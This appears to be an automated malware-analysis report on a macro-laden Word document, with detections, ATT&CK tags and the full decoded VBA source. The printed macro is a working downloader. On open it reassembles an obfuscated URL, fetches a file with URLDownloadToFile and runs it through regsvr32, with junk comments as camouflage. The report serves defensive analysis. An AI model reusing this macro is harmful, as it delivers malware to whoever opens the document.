MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1071.001 Web Protocols
The sample is a malicious Office document containing VBA macros. The AutoOpen macro is present and utilizes URLDownloadToFile, indicating an intent to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature as a downloader. The obfuscated VBA script, while not fully decipherable, strongly suggests malicious activity.
Heuristics 5
-
ClamAV: Doc.Downloader.Generic-7997284-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-7997284-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
#If VBA7 And Win64 Then Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" ( _ -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 6340 bytes |
SHA-256: de1a658d2b931bd7abd9dbdcae1b3e0461ed9f4240a49da42e78df62191ea359 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "rT"
Function E(oc, rg)
X8 = JZ
' Elite
' Inclusive motley stanford
' Fussy intriguing earthquake oo
' Orthodoxy sterile pollute abashed gnu room
a2 = Replace(Join(X8, ""), oc, "")
' Belongings comparison leopard overthrew
' Experience sage doors coitus faithless derived
' Stringent ambulance toothed determined
X8 = Split(a2, CB)
' Already adonis gist
Select Case rg
Case 0
' Belittle physiological whimper
' Yeh accoutred hiv appropriateness
' Shortening elevation casing
' Anime
' Asia stranger strap mails
' Ala jpeg
' Tingle collectibles
E = X8(0)
Case 1
' Employment
' Philanthropist solar multiple
E = X8(1)
Case Else
' Conformation li potato sector pork
' Rain entertaining incoherent recession
' Ace planes
MsgBox "a2"
End Select
End Function
Sub AutoOpen()
' Quibble tenure titanium
' Professionals triple resentful
' Missus mexican feat doom
' Ebay broker
' Amy lawn hostels worship loose
' Adorable michelle limpid assimilation phase
Dim Tw As New H
' Ambergris consciousness flour independence swims
' Rr foolscap lugger kelkoo predicated confiscate
' Cider buck receivers
Tw.VU E(I, 0), E(I, 1)
' Eliminate
' Corral kingston seasoned
' Spleen ftp feed
Dim O0 As New Y
' Advisory fume
' Joker accompanies innermost slave-girl
' Drab ping acclamation green flustered
' Dalton boulevard tributary executive flustered belle
' Specially stewed incognito ordination contracting
' Limpid lives sodium
' Toothless hooked sleep
' Initial
' Vat rejoin rw
' Citizenship jpeg mating
' Finland artists rem beaux twenty-seventh
' Heat foretell
' Topmost intonation
' Iceberg
O0.K "regsvr" & 32 & " " & E(I, 1)
End Sub
Attribute VB_Name = "H"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()
' Purport sunstroke compatriot blackberry economic
' Prays
' Performs delayed paraguay economically
' Bosnia proprietary sufficiently
End Sub
Private Sub Class_Terminate()
' Incentive contrition competent
' Administrative hey qua dexterously rehearsal
' Detriment
' Commercially stimulant organize nationalism
' Urn tony residents vertigo tartarus coy slow
End Sub
Public Sub VU(hh, bI)
' Platoon onerous eat entree
' Explicitly belinda unnecessarily
' Heighten
' Powell fridge adolescent wishlist
' Assess composes shadows downpour
' Ftp topped griffith waters contributor
' Festivals prefer marathon
URLDownloadToFile 0, hh, bI, 0, 0
End Sub
Attribute VB_Name = "Y"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function K(Kh)
' Core space hurl implicit flippant posing
' Recorder das celery
' Monica ell duties anglo-indian
' Full barry
Dim xG As New WshShell
xG.exec Kh
End Function
Function tN(Ph)
' Above-mentioned solstice representative
' Welcoming knell
' Universality
' Lusitania syndicate millennium gateway
' Because cult sensitive
' Consent boys exotic phosphate destinations
' Recount clouds hydraulic
End Function
Attribute VB_Name = "rT1"
Public Const CB As String = "love"
Public Const I As String = "xxxxxxx"
Public Function JZ()
' Harbinger albania
' Batman burglar tigress oneness
' Carnival sewer boc
' Shingle examines nag tested date
' Carbine dimmer
' Junction fun
Dim arr(12) As String
' Arrive idaho incantation literati
' Repudiated pill y
' Impassive vegetable rugs adopted immediately quickly indoor
arr(0) = "hxxxxxxxtxxxxxxxtxxxxxxxpxxxxxxx:xxxxxxx/xxxxxxx/xxxxxxxnxxxxxxxbxxxxxxxwxxxxxxxvxxxxxxxgxxxxxxx2xxxxxxxexxxxxxxgxxxxxxxfxxxxxxx"
' Incompetent brimstone shakira
' Components approve slut columns thetis winning
' Crash passport boards compunction
' Editorial straight rain
arr(1) = "lxxxxxxxrxxxxxxx8xxxxxxxtxxxxxxx2xxxxxxxdxxxxxxxaxxxxxxx1xxxxxxx-xxxxxxxwxxxxxxxoxxxxxxx.xxxxxxxcxxxxxxxoxxxxxxxmxxxxxxx/xxxxxxx"
' Aver shuttle screens
' Fare navigation beginner from
' Teacher basement boxer
' Ultram sunderland
' Dutch synonym themes
arr(2) = "cxxxxxxxzxxxxxxxwxxxxxxxixxxxxxxhxxxxxxx/xxxxxxxfxxxxxxxxxxxxxxxlxxxxxxxaxxxxxxx.xxxxxxxpxxxxxxxhxxxxxxxpxxxxxxx?xxxxxxxlxxxxxxx"
' Concupiscence discover cognac peine jennifer planets
' Wheelbarrow Word
' Taketh extraneous statutes waive translator saintly
arr(3) = "=xxxxxxxgxxxxxxxaxxxxxxxpxxxxxxx1xxxxxxx0xxxxxxx.xxxxxxxcxxxxxxxaxxxxxxxbxxxxxxxlxxxxxxxoxxxxxxxvxxxxxxxexxxxxxxcxxxxxxx:xxxxxxx"
' Glory coaches peas
' Faro notebook shock tags
arr(4) = "\xxxxxxxpxxxxxxxrxxxxxxxoxxxxxxxgxxxxxxxrxxxxxxxaxxxxxxxmxxxxxxxdxxxxxxxaxxxxxxxtxxxxxxxaxxxxxxx\xxxxxxx2xxxxxxx4xxxxxxx7xxxxxxx"
' Defined diplomatist universities propagation
' Form eagles oxygen
' Charging narrow flip
' Advised paper lamp trees ashley creditor
' Carry
arr(5) = "0xxxxxxx8xxxxxxx5xxxxxxx3xxxxxxx4xxxxxxx.xxxxxxxdxxxxxxxaxxxxxxxtxxxxxxx"
' Engineers buck ornamentation brandenburg
' Tablet yachts international sickened
' Outputs influenza unchanging execute skirts
' Adventure kimono cisco sweet netherlands
' Pentateuch succulent industry
JZ = arr
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 30208 bytes |
SHA-256: 074d31895093a502032e6082f204fc22cb8d1e3627602980954406dcceb4a104 |
|||
|
Detection
ClamAV:
Doc.Downloader.Generic-7997284-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.